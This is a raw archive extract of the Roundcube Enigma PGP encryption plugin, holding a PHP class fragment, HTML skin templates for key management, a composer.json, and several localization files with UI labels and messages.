        return $this->ui->message_compose($p);
    }

    /**
     * Handler for refresh hook.
     */
    function refresh($p)
    {
        // calling enigma_engine constructor to remove passwords
        // stored in session after expiration time
        $this->load_engine();

        return $p;
    }

    /**
     * Handle delete_user_commit hook
     */
    function user_delete($p)
    {
        $this->load_engine();

        $p['abort'] = $p['abort'] || !$this->engine->delete_user_data($p['username']);

        return $p;
    }
}
PKh�\��B5plugins/enigma/skins/elastic/templates/keyimport.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="enigma.importkeys" /></h1>

<div class="formcontent">
	<roundcube:object name="importform" class="propform" part="import" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\
�j0plugins/enigma/skins/elastic/templates/keys.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="settings" /> : <roundcube:label name="enigma.enigmakeys" /></h1>

<!-- keys list -->
<div id="layout-list" class="listbox selected" aria-labelledby="aria-label-enigmakeyslist">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-enigmakeyslist" class="header-title"><roundcube:label name="enigma.enigmakeys" /></span>
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<roundcube:object name="searchform" id="keysearch" wrapper="searchbar menu"
		label="keysearchform" buttontitle="findkeys" ariatag="h2" />
	<div class="scroller">
		<roundcube:object name="keyslist" id="keys-table" class="listing" role="listbox" noheader="true"
		data-list="keys_list" data-label-msg="listempty" />
	</div>
	<div class="pagenav menu footer small" role="toolbar" aria-label="<roundcube:label name="arialabellistnav" />">
		<roundcube:button command="firstpage" type="link" class="firstpage disabled" classAct="firstpage"
			title="firstpage" label="first" innerclass="inner" />
		<roundcube:button command="previouspage" type="link" class="prevpage disabled" classAct="prevpage"
			title="previouspage" label="previous" innerclass="inner" />
		<span class="pagenav-text" aria-live="polite" aria-relevant="text">
			<roundcube:object name="countdisplay" />
		</span>
		<roundcube:endif />
		<roundcube:button command="nextpage" type="link" class="nextpage disabled" classAct="nextpage"
			title="nextpage" label="next" innerclass="inner" />
		<roundcube:button command="lastpage" type="link" class="lastpage disabled" classAct="lastpage"
			title="lastpage" label="last" innerclass="inner" />
	</div>
</div>

<!-- key info frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="folderstoolbar" class="toolbar menu">
			<roundcube:button command="plugin.enigma-key-create" type="link" class="create disabled" classAct="create"
				label="create" title="enigma.createkeys" innerClass="inner" />
			<roundcube:button command="plugin.enigma-key-delete" type="link" class="delete disabled" classAct="delete"
				label="delete" title="enigma.keyremove" innerClass="inner" />
			<span class="spacer"></span>
			<roundcube:button command="plugin.enigma-key-import-search" type="link" class="search disabled" classAct="search"
				label="search" title="enigma.keyimportsearchlabel" innerClass="inner" />
			<roundcube:button command="plugin.enigma-key-import" type="link" class="import disabled" classAct="import"
				label="import" title="enigma.importkeys" innerClass="inner" />
			<span class="dropbutton">
				<roundcube:button command="plugin.enigma-key-export" type="link" class="export disabled" classAct="export"
					label="export" title="enigma.exportkeys" innerclass="inner" />
				<a href="#export" class="dropdown" data-popup="export-menu">
					<span class="inner"><roundcube:label name="enigma.arialabelkeyexportoptions" /></span>
				</a>
			</span>
		</div>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="keyframe" src="env:blankpage" />
	</div>
</div>

<div id="export-menu" class="popupmenu">
	<h3 id="aria-label-exportmenu" class="voice"><roundcube:label name="enigma.arialabelkeyexportoptions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-export-menu">
		<roundcube:button type="link-menuitem" command="plugin.enigma-key-export" label="exportall" prop="sub" class="export all disabled" classAct="export all active" />
		<roundcube:button type="link-menuitem" command="plugin.enigma-key-export-selected" label="exportsel" prop="sub" class="export select disabled" classAct="export select active" />
	</ul>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\f���5plugins/enigma/skins/elastic/templates/keysearch.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="enigma.keyimportsearchlabel" /></h1>

<div class="formcontent">
	<roundcube:object name="importform" class="propform" part="search" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�щ��5plugins/enigma/skins/elastic/templates/keycreate.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="enigma.createkeys" /></h1>

<div class="formcontent">
	<roundcube:object name="keyform" class="propform" textarearows="6" />
</div>

<div class="formbuttons">
	<roundcube:button command="plugin.enigma-key-save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\��|�3plugins/enigma/skins/elastic/templates/keyinfo.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="enigma.keyprops" /></h1>

<div class="formcontent">
	<roundcube:object name="keydata" class="propform" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\?��[[plugins/enigma/composer.jsonnu�[���{
    "name": "roundcube/enigma",
    "type": "roundcube-plugin",
    "description": "Server-side PGP Encryption for Roundcube",
    "license": "GPL-3.0-or-later",
    "version": "0.9",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": "~0.1.6",
        "pear/crypt_gpg": "~1.6.3"
    }
}
PKh�\��&�[[%plugins/enigma/localization/zh_CN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = '加密';
$labels['enigmacerts'] = 'S/MIME 证书';
$labels['enigmakeys'] = 'PGP 密钥';
$labels['keysfromto'] = '从 $from 到 $to,共计 $count 个密钥';
$labels['keyname'] = '名称';
$labels['keyid'] = '密钥 ID';
$labels['keyuserid'] = '用户 ID';
$labels['keytype'] = '密钥类型';
$labels['fingerprint'] = '指纹';
$labels['subkeys'] = '子密钥';
$labels['keyprops'] = '密钥属性';
$labels['basicinfo'] = '基本信息';
$labels['userids'] = '其他用户';
$labels['typepublickey'] = '公钥';
$labels['typekeypair'] = '密钥对';
$labels['keyattfound'] = '此消息包含附加的 PGP 密钥。';
$labels['keyattimport'] = '导入密钥';
$labels['typesign'] = '签名';
$labels['typeencrypt'] = '加密';
$labels['typecert'] = '证明';
$labels['typeauth'] = '身份验证';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = '算法';
$labels['subkeycreated'] = '创建于';
$labels['subkeyexpires'] = '过期时间';
$labels['subkeyusage'] = '用法';
$labels['expiresnever'] = '从不';
$labels['unknown'] = '未知';
$labels['uservalid'] = '有效';
$labels['userid'] = 'ID';
$labels['valid'] = '有效';
$labels['supportencryption'] = '启用邮件加密和签名';
$labels['supportsignatures'] = '启用邮件签名验证';
$labels['supportdecryption'] = '启用邮件解密';
$labels['signdefault'] = '默认签名所有邮件';
$labels['encryptdefault'] = '默认加密所有邮件';
$labels['attachpubkeydefault'] = '默认附加我的公共 PGP 密钥';
$labels['passwordtime'] = '保持私钥密码';
$labels['nminutes'] = '$m 分钟';
$labels['wholesession'] = '整个会话';
$labels['createkeys'] = '创建新密钥对';
$labels['importkeys'] = '导入密钥';
$labels['exportkeys'] = '加密密钥';
$labels['keyactions'] = '密钥操作...';
$labels['keyremove'] = '移除';
$labels['keydisable'] = '禁用';
$labels['keyrevoke'] = '废除';
$labels['keysend'] = '在邮件中发送公钥';
$labels['keychpass'] = '修改密码';
$labels['newkeyident'] = '标识';
$labels['newkeypass'] = '密码';
$labels['newkeypassconfirm'] = '确认密码';
$labels['newkeytype'] = '密钥类型';
$labels['keygenerating'] = '正在生成密钥...';
$labels['encryptionoptions'] = '加密选项...';
$labels['encryptmsg'] = '加密此邮件';
$labels['signmsg'] = '数字签名此邮件';
$labels['sendunencrypted'] = '不加密发送';
$labels['enterkeypasstitle'] = '请输入密钥口令';
$labels['enterkeypass'] = '需要口令解锁私钥 ($keyid),用户:$user。';
$labels['attachpubkeymsg'] = '附加我的公钥';
$labels['keyexportprompt'] = '您要在保存的 OpenPGP 密钥文件中包含私钥吗?';
$labels['onlypubkeys'] = '仅导出公钥';
$labels['withprivkeys'] = '导出私钥';
$labels['findkey'] = '搜索密钥服务器';
$labels['keyimportlabel'] = '从文件导入';
$labels['keyimportsearchlabel'] = '在密钥服务器上搜索';
$labels['managekeys'] = '管理 PGP 密钥';
$labels['identitymatchingprivkeys'] = '你的钥匙环中有 $nr 项符合条件的 PGP 私钥:';
$labels['identitynoprivkeys'] = '你的钥匙环中没有符合此发件人身份的 PGP 私钥';
$labels['arialabelkeyexportoptions'] = '密钥导出选项';
$messages['sigvalid'] = '已验证来自 $sender 的签名。';
$messages['sigvalidpartial'] = '已验证来自 $sender 的签名,但主体部分未被签名。';
$messages['siginvalid'] = '无效的来自 $sender 的签名。';
$messages['sigunverified'] = '未验证签名。证书未验证。证书 ID: $keyid。';
$messages['signokey'] = '未验证签名。公钥未找到。密钥 ID: $keyid。';
$messages['sigerror'] = '未验证签名。内部错误。';
$messages['decryptok'] = '邮件已解密';
$messages['decrypterror'] = '解密失败。';
$messages['decryptnokey'] = '解密失败。私钥未找到。密钥 ID: $keyid。';
$messages['decryptbadpass'] = '解密失败。密码无效。';
$messages['decryptnopass'] = '解密失败。需要密钥密码。';
$messages['decryptpartial'] = '邮件已解密,但主体部分未被加密。';
$messages['signerror'] = '签名失败。';
$messages['signnokey'] = '签名失败。私钥未找到。';
$messages['signbadpass'] = '签名失败。密码无效。';
$messages['signnopass'] = '签名失败。需要密钥密码。';
$messages['encrypterror'] = '加密失败。';
$messages['encryptnokey'] = '加密失败。用于 $email 的公钥未找到。';
$messages['nokeysfound'] = '没有找到密钥';
$messages['keynotfound'] = '密钥未找到!';
$messages['keyopenerror'] = '无法获取密钥信息!内部错误。';
$messages['keylisterror'] = '无法列出密钥。内部错误。';
$messages['keysimportfailed'] = '无法导入密钥!内部错误。';
$messages['keysimportsuccess'] = '密钥导入成功。已导入 $new 项,未变更 $old 项。';
$messages['keyremoving'] = '正在移除密钥...';
$messages['keyremoveconfirm'] = '您确定吗,确定删除选定密钥?';
$messages['keyremovesuccess'] = '密钥删除成功';
$messages['keyremoveerror'] = '无法删除选定密钥。';
$messages['keyimporttext'] = '您可以导入私钥和公钥或废除 ASCII-Armor 格式的签名。';
$messages['keyimportsearchtext'] = '您可以根据密钥标识符、用户名或电子邮件地址搜索公钥和直接导入它们。';
$messages['formerror'] = '请填写表单。所有字段都为必填!';
$messages['passwordsdiffer'] = '密码不匹配!';
$messages['keygenerateerror'] = '生成密钥对失败';
$messages['keygeneratesuccess'] = '密钥对生成和导入成功。';
$messages['keygennosupport'] = '您的网页浏览器不支持加密。无法生成密钥对!';
$messages['noidentselected'] = '您必须为该密钥选择至少一个身份!';
$messages['nonameident'] = '身份必须有一个用户名!';
$labels['newkeysize'] = '密钥长度';
$labels['key2048'] = '2048 位 - 默认';
$labels['key4096'] = '4096 位 - 更安全';
PKh�\��L((%plugins/enigma/localization/be_BE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Шыфраванне';
$labels['keyname'] = 'Назва';
$labels['keyid'] = 'ID ключа';
$labels['typeencrypt'] = 'Зашыфраваць';
$labels['subkeycreated'] = 'Створаны';
$labels['expiresnever'] = 'ніколі';
$labels['unknown'] = 'невядома';
$labels['createkeys'] = 'Стварыць новую пару ключоў';
$labels['keychpass'] = 'Змяніць пароль';
$labels['newkeypass'] = 'Пароль';
$labels['keyimportlabel'] = 'Імпартаваць з файла';
PKh�\yT���+�+%plugins/enigma/localization/bg_BG.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Криптиране';
$labels['enigmacerts'] = 'S/MIME сертификати';
$labels['enigmakeys'] = 'PGP ключове';
$labels['keysfromto'] = 'Ключове $from до $to от $count';
$labels['keyname'] = 'Име';
$labels['keyid'] = 'ИН на ключ';
$labels['keyuserid'] = 'ИН на потребител';
$labels['keytype'] = 'Тип на ключ';
$labels['fingerprint'] = 'Пръстов отпечатък';
$labels['subkeys'] = 'Подключове';
$labels['keyprops'] = 'Свойства на ключа';
$labels['basicinfo'] = 'Основна информация';
$labels['userids'] = 'Допълнителни потребители';
$labels['typepublickey'] = 'публичен ключ';
$labels['typekeypair'] = 'ключова двойка';
$labels['keyattfound'] = 'Това писмо съдържа прикачен(и) PGP ключ(ове)';
$labels['keyattimport'] = 'Импорт на ключ(ове)';
$labels['typesign'] = 'Подписване';
$labels['typeencrypt'] = 'Криптиране';
$labels['typecert'] = 'Удостоверяване';
$labels['typeauth'] = 'Идентификация';
$labels['subkeyid'] = 'ИН';
$labels['subkeyalgo'] = 'Алгоритъм';
$labels['subkeycreated'] = 'Създаден';
$labels['subkeyexpires'] = 'Изтича';
$labels['subkeyusage'] = 'Употреба';
$labels['expiresnever'] = 'никога';
$labels['unknown'] = 'неизвестно';
$labels['uservalid'] = 'Валиден';
$labels['userid'] = 'ИН';
$labels['valid'] = 'валиден';
$labels['supportencryption'] = 'Включи криптиране и подписване на писма';
$labels['supportsignatures'] = 'Включи верификация на подписи в писма';
$labels['supportdecryption'] = 'Включи декриптиране на писма';
$labels['signdefault'] = 'Подписвай всички писма по подразбиране';
$labels['encryptdefault'] = 'Криптирай всички писма по подразбиране';
$labels['attachpubkeydefault'] = 'Прикачи по подразбирне моя публичен PGP ключ';
$labels['passwordtime'] = 'Запомни паролата на частния ключ за';
$labels['nminutes'] = '$m минути';
$labels['wholesession'] = 'цялата сесия';
$labels['createkeys'] = 'Създай нова ключова двойка';
$labels['importkeys'] = 'Импорт на ключ(ове)';
$labels['exportkeys'] = 'Експорт на ключ(ове)';
$labels['keyactions'] = 'Действия...';
$labels['keyremove'] = 'Изтриване';
$labels['keydisable'] = 'Деактивиране';
$labels['keyrevoke'] = 'Отмяна';
$labels['keysend'] = 'Изпрати писмо с публичен ключ';
$labels['keychpass'] = 'Промени паролата';
$labels['keyadd'] = 'Добавяне на ключ';
$labels['newkeyident'] = 'Самоличност';
$labels['newkeypass'] = 'Парола';
$labels['newkeypassconfirm'] = 'Потвърди паролата';
$labels['newkeytype'] = 'Тип на ключ';
$labels['rsa2048'] = 'RSA - 2048 бита';
$labels['rsa4096'] = 'RSA - 4096 бита';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Генериране на ключове...';
$labels['encryptionoptions'] = 'Опции за криптиране...';
$labels['encryptmsg'] = 'Криптирай това писмо';
$labels['signmsg'] = 'Подпиши цифрово това писмо';
$labels['sendunencrypted'] = 'Изпрати некриптирано';
$labels['enterkeypasstitle'] = 'Въведете парола на ключа';
$labels['enterkeypass'] = 'Нужна е парола за отваряне на ключ ($keyid) за потребител $user.';
$labels['attachpubkeymsg'] = 'Прикачи моя публичен ключ';
$labels['keyexportprompt'] = 'Желаете ли да включите секретните ключове в записания OpenPGP файл?';
$labels['onlypubkeys'] = 'Експорт само на Публичните ключове';
$labels['withprivkeys'] = 'Експорт на Секретни ключове';
$labels['findkey'] = 'Търси на сървъри за ключове';
$labels['keyimportlabel'] = 'Импорт от файл';
$labels['keyimportsearchlabel'] = 'Търси на сървъри за ключове';
$labels['managekeys'] = 'Управление на PGP ключовете';
$labels['identitymatchingprivkeys'] = 'Имате $nr съвпадащи PGP частни ключа, съхранени във вашия ключодържател:';
$labels['identitynoprivkeys'] = 'Тази самоличност на подателя все още няма частен PGP ключ, съхраняван във вашия ключодържател.';
$labels['arialabelkeyexportoptions'] = 'Опции за експорт на ключ';
$labels['arialabelkeysearchform'] = 'Форма за търсене на ключове';
$labels['arialabelkeyoptions'] = 'Настройки на ключа';
$messages['sigvalid'] = 'Верифициран подпис от $sender.';
$messages['sigvalidpartial'] = 'Верифициран подпис от $sender, но част от съдържанието на писмото не е било подписано';
$messages['siginvalid'] = 'Невалиден подпис от $sender.';
$messages['sigunverified'] = 'Неверифициран подпис. Сертификатът не е верифициран. Сертификат с ИН $keyid.';
$messages['signokey'] = 'Неверифициран подпис. Публичния ключ не е намерен. Ключ с ИН $keyid.';
$messages['sigerror'] = 'Неверифициран подпис. Вътрешна грешка.';
$messages['decryptok'] = 'Писмото е декриптирано.';
$messages['decrypterror'] = 'Невъзможно декриптиране.';
$messages['decryptnokey'] = 'Невъзможно декриптиране. Частният ключ не е намерен. Ключ с ИН $keyid.';
$messages['decryptnomdc'] = 'Декриптирането е пропуснато. Целостта писмото е нарушена.';
$messages['decryptbadpass'] = 'Невъзможно декриптиране. Невалидна парола.';
$messages['decryptnopass'] = 'Невъзможно декриптиране. Паролата на частния ключ е задължителна.';
$messages['decryptpartial'] = 'Писмото е декриптирано, но част от съдържанието му не е било защитено с криптиране.';
$messages['signerror'] = 'Невъзможно подписване.';
$messages['signnokey'] = 'Невъзможно подписване. Частният ключ не е намерен.';
$messages['signbadpass'] = 'Невъзможно подписване. Невалидна парола.';
$messages['signnopass'] = 'Невъзможно подписване. Паролата на частния ключ е задължителна.';
$messages['encrypterror'] = 'Невъзможно криптиране.';
$messages['encryptnokey'] = 'Невъзможно криптиране. Публичният ключ не е намерен за $email.';
$messages['encryptnoprivkey'] = 'Невъзможно криптиране. Частният ключ не е намерен.';
$messages['nokeysfound'] = 'Не са намерени ключове';
$messages['keynotfound'] = 'Ключът не е намерен!';
$messages['keyopenerror'] = 'Невъзможно получаване на информация за ключа! Вътрешна грешка.';
$messages['keylisterror'] = 'Невъзможно получаване на ключове! Вътрешна грешка.';
$messages['keysimportfailed'] = 'Невъзможно импортиране на ключове! Вътрешна грешка.';
$messages['keysimportsuccess'] = 'Ключовете са импортирани успешно. Импортирани $new, непроменени $old.';
$messages['keyremoving'] = 'Изтриване на ключове...';
$messages['keyremoveconfirm'] = 'Желаете ли да изтриете избраните ключове?';
$messages['keyremovesuccess'] = 'Ключовете са изтрити успешно.';
$messages['keyremoveerror'] = 'Невъзможно изтриване на ключове.';
$messages['keyimporttext'] = 'Можете да импортирате частни и публични ключове или сигнатури за отмяна в ASCII-Armor формат.';
$messages['keyimportsearchtext'] = 'Можете да търсите публични ключове по идентификатор, потребителско име или адрес на ел. поща, след което директно да ги импортирате.';
$messages['keystoragenotice'] = 'Всички публични и частни ключове се съхраняват на сървъра.';
$messages['formerror'] = 'Моля попълнете формата. Всички полета са задължителни!';
$messages['passwordsdiffer'] = 'Паролите не съвпадат!';
$messages['keygenerateerror'] = 'Невъзможно генериране на ключова двойка';
$messages['keygeneratesuccess'] = 'Ключовата двойка е генерирана и импортирана успешно.';
$messages['keygennosupport'] = 'Вашият браузър не поддържа нужните криптографски методи. Невъзможно генериране на ключова двойка.';
$messages['noidentselected'] = 'Трябва да избере поне една самоличност за този ключ!';
$messages['nonameident'] = 'Самоличността трябва да има дефинирано потребителско име!';
$labels['newkeysize'] = 'Размер на ключа';
$labels['key2048'] = '2048 бита (по подразбиране)';
$labels['key4096'] = '4096 бита (по-сигурен)';
PKh�\??2m��%plugins/enigma/localization/ne_NP.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'काहिलै नहुने';
$labels['unknown'] = 'अज्ञात';
$labels['newkeypass'] = 'प्रवेश शब्द';
PKh�\z>���%plugins/enigma/localization/en_US.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels = [];
$labels['encryption'] = 'Encryption';
$labels['enigmacerts'] = 'S/MIME Certificates';
$labels['enigmakeys'] = 'PGP Keys';
$labels['keysfromto'] = 'Keys $from to $to of $count';
$labels['keyname'] = 'Name';
$labels['keyid'] = 'Key ID';
$labels['keyuserid'] = 'User ID';
$labels['keytype'] = 'Key type';
$labels['fingerprint'] = 'Fingerprint';
$labels['subkeys'] = 'Subkeys';
$labels['keyprops'] = 'Key properties';
$labels['basicinfo'] = 'Basic Information';
$labels['userids'] = 'Additional Users';
$labels['typepublickey'] = 'public key';
$labels['typekeypair'] = 'key pair';
$labels['keyattfound'] = 'This message contains attached PGP key(s).';
$labels['keyattimport'] = 'Import key(s)';
$labels['typesign'] = 'Sign';
$labels['typeencrypt'] = 'Encrypt';
$labels['typecert'] = 'Certify';
$labels['typeauth'] = 'Authentication';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorithm';
$labels['subkeycreated'] = 'Created';
$labels['subkeyexpires'] = 'Expires';
$labels['subkeyusage'] = 'Usage';
$labels['expiresnever'] = 'never';
$labels['unknown'] = 'unknown';
$labels['uservalid'] = 'Valid';
$labels['userid'] = 'ID';
$labels['valid'] = 'valid';

$labels['supportencryption'] = 'Enable message encryption and signing';
$labels['supportsignatures'] = 'Enable message signatures verification';
$labels['supportdecryption'] = 'Enable message decryption';
$labels['signdefault'] = 'Sign all messages by default';
$labels['encryptdefault'] = 'Encrypt all messages by default';
$labels['attachpubkeydefault'] = 'Attach my public PGP key by default';
$labels['passwordtime'] = 'Keep private key passwords for';
$labels['nminutes'] = '$m minute(s)';
$labels['wholesession'] = 'the whole session';

$labels['createkeys'] = 'Create a new key pair';
$labels['importkeys'] = 'Import key(s)';
$labels['exportkeys'] = 'Export key(s)';
$labels['keyactions'] = 'Key actions...';
$labels['keyremove'] = 'Remove';
$labels['keydisable'] = 'Disable';
$labels['keyrevoke'] = 'Revoke';
$labels['keysend'] = 'Send public key in a message';
$labels['keychpass'] = 'Change password';
$labels['keyadd'] = 'Add key';

$labels['newkeyident'] = 'Identity';
$labels['newkeypass'] = 'Password';
$labels['newkeypassconfirm'] = 'Confirm password';
$labels['newkeytype'] = 'Key type';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Generating keys...';

$labels['encryptionoptions'] = 'Encryption options...';
$labels['encryptmsg'] = 'Encrypt this message';
$labels['signmsg'] = 'Digitally sign this message';
$labels['sendunencrypted'] = 'Send unencrypted';

$labels['enterkeypasstitle'] = 'Enter key passphrase';
$labels['enterkeypass'] = 'A passphrase is needed to unlock the secret key ($keyid) for user: $user.';
$labels['attachpubkeymsg'] = 'Attach my public key';

$labels['keyexportprompt'] = 'Do you want to include secret keys in the saved OpenPGP keys file?';
$labels['onlypubkeys'] = 'Export Public Keys Only';
$labels['withprivkeys'] = 'Export Secret Keys';
$labels['findkey'] = 'Search on key server(s)';
$labels['keyimportlabel'] = 'Import from file';
$labels['keyimportsearchlabel'] = 'Search on key server(s)';

$labels['managekeys'] = 'Manage PGP keys';
$labels['identitymatchingprivkeys'] = 'You have $nr matching PGP private keys stored in your keyring:';
$labels['identitynoprivkeys'] = 'This sender identity doesn\'t yet have a PGP private key stored in your keyring.';

$labels['arialabelkeyexportoptions'] = 'Keys export options';
$labels['arialabelkeysearchform'] = 'Keys search form';
$labels['arialabelkeyoptions'] = 'Key options';

$messages = [];
$messages['sigvalid'] = 'Verified signature from $sender.';
$messages['sigvalidpartial'] = 'Verified signature from $sender, but part of the body was not signed.';
$messages['siginvalid'] = 'Invalid signature from $sender.';
$messages['sigunverified'] = 'Unverified signature. Certificate not verified. Certificate ID: $keyid.';
$messages['signokey'] = 'Unverified signature. Public key not found. Key ID: $keyid.';
$messages['sigerror'] = 'Unverified signature. Internal error.';
$messages['decryptok'] = 'Message decrypted.';
$messages['decrypterror'] = 'Decryption failed.';
$messages['decryptnokey'] = 'Decryption failed. Private key not found. Key ID: $keyid.';
$messages['decryptnomdc'] = 'Decryption skipped. Message is not integrity protected.';
$messages['decryptbadpass'] = 'Decryption failed. Invalid password.';
$messages['decryptnopass'] = 'Decryption failed. Key password required.';
$messages['decryptpartial'] = 'Message decrypted, but part of the body was not encrypted.';
$messages['signerror'] = 'Signing failed.';
$messages['signnokey'] = 'Signing failed. Private key not found.';
$messages['signbadpass'] = 'Signing failed. Invalid password.';
$messages['signnopass'] = 'Signing failed. Key password required.';
$messages['encrypterror'] = 'Encryption failed.';
$messages['encryptnokey'] = 'Encryption failed. Public key not found for $email.';
$messages['encryptnoprivkey'] = 'Encryption failed. Private key not found.';
$messages['nokeysfound'] = 'No keys found';
$messages['keynotfound'] = 'Key not found!';
$messages['keyopenerror'] = 'Unable to get key information! Internal error.';
$messages['keylisterror'] = 'Unable to list keys! Internal error.';
$messages['keysimportfailed'] = 'Unable to import key(s)! Internal error.';
$messages['keysimportsuccess'] = 'Key(s) imported successfully. Imported: $new, unchanged: $old.';
$messages['keyremoving'] = 'Removing key(s)...';
$messages['keyremoveconfirm'] = 'Are you sure, you want to delete selected key(s)?';
$messages['keyremovesuccess'] = 'Key(s) deleted successfully';
$messages['keyremoveerror'] = 'Unable to delete selected key(s).';
$messages['keyimporttext'] = 'You can import private and public key(s) or revocation signatures in ASCII-Armor format.';
$messages['keyimportsearchtext'] = 'You can search for public keys by key identifier, user name or email address and then import them directly.';
$messages['keystoragenotice'] = 'All public and private keys are stored on the server.';

$messages['formerror'] = 'Please, fill the form. All fields are required!';
$messages['passwordsdiffer'] = 'Passwords do not match!';
$messages['keygenerateerror'] = 'Failed to generate a key pair';
$messages['keygeneratesuccess'] = 'A key pair generated and imported successfully.';
$messages['keygennosupport'] = 'Your web browser does not support cryptography. Unable to generate a key pair!';
$messages['noidentselected'] = 'You have to select at least one identity for the key!';

// removed in 1.3
$messages['nonameident'] = 'Identity must have a user name defined!';

// removed in 1.5
$labels['newkeysize'] = 'Key size';
$labels['key2048'] = '2048 bits - default';
$labels['key4096'] = '4096 bits - more secure';
PKh�\��m��%plugins/enigma/localization/fi_FI.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Salaus';
$labels['enigmacerts'] = 'S/MIME-varmenteet';
$labels['enigmakeys'] = 'PGP-avaimet';
$labels['keysfromto'] = 'Avaimet $from-$to/$count';
$labels['keyname'] = 'Nimi';
$labels['keyid'] = 'Avaintunniste';
$labels['keyuserid'] = 'Käyttäjätunniste';
$labels['keytype'] = 'Avaimen tyyppi';
$labels['fingerprint'] = 'Sormenjälki';
$labels['subkeys'] = 'Aliavaimet';
$labels['keyprops'] = 'Avaimen asetukset';
$labels['basicinfo'] = 'Perustiedot';
$labels['userids'] = 'Lisäkäyttäjät';
$labels['typepublickey'] = 'julkinen avain';
$labels['typekeypair'] = 'avainpari';
$labels['keyattfound'] = 'Tämä viesti sisältää yhden tai useamman PGP-avaimen.';
$labels['keyattimport'] = 'Tuo avaimia';
$labels['typesign'] = 'Allekirjoitus';
$labels['typeencrypt'] = 'Salaus';
$labels['typecert'] = 'Todistus';
$labels['typeauth'] = 'Tunnistautuminen';
$labels['subkeyid'] = 'Tunniste';
$labels['subkeyalgo'] = 'Algoritmi';
$labels['subkeycreated'] = 'Luotu';
$labels['subkeyexpires'] = 'Vanhenee';
$labels['subkeyusage'] = 'Käyttö';
$labels['expiresnever'] = 'ei koskaan';
$labels['unknown'] = 'tuntematon';
$labels['uservalid'] = 'Kelvollinen';
$labels['userid'] = 'Tunniste';
$labels['valid'] = 'kelvollinen';
